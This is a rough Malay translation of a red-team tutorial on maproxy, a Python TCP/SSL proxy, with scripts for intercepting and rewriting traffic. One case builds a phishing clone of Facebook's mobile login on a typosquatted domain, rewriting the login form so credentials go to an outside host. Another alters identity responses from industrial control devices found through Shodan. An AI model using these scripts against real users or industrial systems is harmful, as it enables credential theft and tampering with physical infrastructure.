Terjemahan artikel telah disediakan pada malam permulaan kursus
Anotasi
Pelbagai jenis penilaian keselamatan, bermula daripada ujian penembusan biasa dan operasi Pasukan Merah hingga menggodam peranti IoT/ICS dan SCADA, melibatkan kerja dengan protokol rangkaian binari, iaitu, pada asasnya memintas dan mengubah suai data rangkaian antara pelanggan dan sasaran. Menghidu trafik rangkaian bukanlah tugas yang sukar kerana kami mempunyai alat seperti Wireshark, Tcpdump atau Scapy, tetapi pengubahsuaian nampaknya menjadi tugas yang lebih intensif buruh kerana kami perlu mempunyai beberapa jenis antara muka untuk membaca data rangkaian, menapisnya, menukar ia dengan cepat dan menghantarnya kembali kepada hos sasaran dalam hampir masa nyata. Di samping itu, adalah sesuai jika alat sedemikian boleh berfungsi secara automatik dengan berbilang sambungan selari dan boleh disesuaikan menggunakan skrip.
Pada suatu hari saya menemui alat yang dipanggil
, dokumentasi dengan cepat menjelaskan kepada saya bahawa maproxy
- hanya apa yang saya perlukan. Ini adalah proksi TCP yang agak mudah, serba boleh dan mudah dikonfigurasikan. Saya menguji alat ini pada beberapa aplikasi yang agak kompleks, termasuk peranti ICS (yang menjana banyak paket) untuk melihat sama ada ia boleh mengendalikan banyak sambungan selari, dan alat itu berfungsi dengan baik.
Artikel ini akan memperkenalkan anda kepada pemprosesan data rangkaian dengan cepat menggunakan maproxy
.
Mengkaji
Alat maproxy
adalah berdasarkan Tornado, rangka kerja rangkaian tak segerak yang popular dan matang dalam Python.
Secara umum, ia boleh beroperasi dalam beberapa mod:
TCP:TCP
– sambungan TCP yang tidak disulitkan;TCP:SSL
иSSL:TCP
– dengan penyulitan sehala;SSL:SSL
– penyulitan dua hala.
Ia datang sebagai perpustakaan. Untuk permulaan yang cepat, anda boleh menggunakan fail contoh yang mencerminkan fail utama
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Kes 1 – proksi dua arah mudah
Berdasarkan tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
По умолчанию ProxyServer()
mengambil dua hujah – lokasi sambungan dan port sasaran. server.listen()
mengambil satu hujah - port untuk mendengar sambungan masuk.
Melaksanakan skrip:
# python tcp2tcp.py
Untuk menjalankan ujian, kami akan menyambung ke pelayan SSH tempatan melalui skrip proksi kami, yang mendengar pada 2222/tcp
port dan bersambung ke port standard 22/tcp
Pelayan SSH:
Sepanduk alu-aluan memberitahu anda bahawa skrip contoh kami telah berjaya memproksi trafik rangkaian.
Kes 2 – pengubahsuaian data
Satu lagi skrip demo logging_proxy.py
sesuai untuk berinteraksi dengan data rangkaian. Komen dalam fail menerangkan kaedah kelas yang boleh anda ubah suai untuk mencapai matlamat anda:
Perkara yang paling menarik ialah di sini:
on_c2p_done_read
– untuk memintas data sepanjang perjalanan dari klien ke pelayan;on_p2s_done_read
- terbalik.
Mari cuba tukar sepanduk SSH yang pelayan kembalikan kepada pelanggan:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Laksanakan skrip:
Seperti yang anda lihat, pelanggan telah tersilap kerana nama pelayan SSH untuknya telah ditukar kepada «DumnySSH»
.
Kes 3 – halaman web pancingan data mudah
Terdapat cara yang tidak berkesudahan untuk menggunakan alat ini. Kali ini mari kita fokus pada sesuatu yang lebih praktikal dari pihak operasi Pasukan Merah. Jom tiru landing page m.facebook.com
dan gunakan domain tersuai dengan kesilapan taip yang disengajakan, contohnya, m.facebok.com
. Untuk tujuan demonstrasi, anggap saja domain itu didaftarkan oleh kami.
Kami akan mewujudkan sambungan rangkaian yang tidak disulitkan dengan proksi mangsa kami dan Strim SSL ke pelayan Facebook (31.13.81.36
). Untuk menjadikan contoh ini berfungsi, kami perlu menggantikan pengepala hos HTTP dan menyuntik nama hos yang betul, dan kami juga akan melumpuhkan pemampatan respons supaya kami boleh mengakses kandungan dengan mudah. Akhirnya kami akan menggantikan borang HTML supaya bukti kelayakan log masuk dihantar kepada kami dan bukannya pelayan Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ms/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Secara ringkasnya:
Seperti yang anda lihat, kami berjaya menggantikan tapak asal.
Kes 4 – Memindahkan Ethernet/IP
Saya telah berurusan dengan peranti dan perisian industri (ICS/SCADA) untuk sekian lama, seperti pengawal boleh atur cara (PLC), modul I/O, pemacu, geganti, persekitaran pengaturcaraan tangga dan banyak lagi. Kes ini untuk mereka yang suka perkara industri. Menggodam penyelesaian sedemikian melibatkan bermain secara aktif dengan protokol rangkaian. Dalam contoh berikut, saya ingin menunjukkan cara anda boleh mengubah suai trafik rangkaian ICS/SCADA.
Untuk melakukan ini, anda memerlukan yang berikut:
- Penghidu rangkaian, contohnya, Wireshark;
- Ethernet/IP atau hanya peranti SIP, anda boleh menemuinya menggunakan perkhidmatan Shodan;
- Skrip kami berdasarkan
maproxy
.
Mula-mula, mari lihat rupa tindak balas pengenalan biasa daripada CIP (Common Industrial Protocol):
Pengenalpastian peranti dicapai menggunakan protokol Ethernet/IP, yang merupakan versi dipertingkat bagi protokol Ethernet industri yang membungkus protokol kawalan seperti CIP. Kami akan menukar nama ID yang diserlahkan yang boleh dilihat dalam tangkapan skrin "NI-IndComm untuk Ethernet" menggunakan skrip proksi kami. Kami boleh menggunakan semula skrip logging_proxy.py
dan sama mengubah suai kaedah kelas on_p2s_done_read
, kerana kami mahu nama identiti yang berbeza dapat dilihat pada pelanggan.
Kod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Pada asasnya, kami meminta pengecaman peranti dua kali, respons kedua adalah yang asal, dan yang pertama telah diubah suai dengan cepat.
Dan yang terakhir
Pada pendapat saya maproxy
Alat yang mudah dan ringkas, yang juga ditulis dalam Python, jadi saya percaya anda juga boleh mendapat manfaat daripada menggunakannya. Sudah tentu, terdapat alat yang lebih kompleks untuk memproses dan mengubah suai data rangkaian, tetapi ia juga memerlukan lebih perhatian dan biasanya dibuat untuk kes penggunaan tertentu, mis. maproxy
anda boleh dengan cepat melaksanakan idea anda untuk memintas data rangkaian, kerana skrip contoh adalah sangat jelas.
Sumber: www.habr.com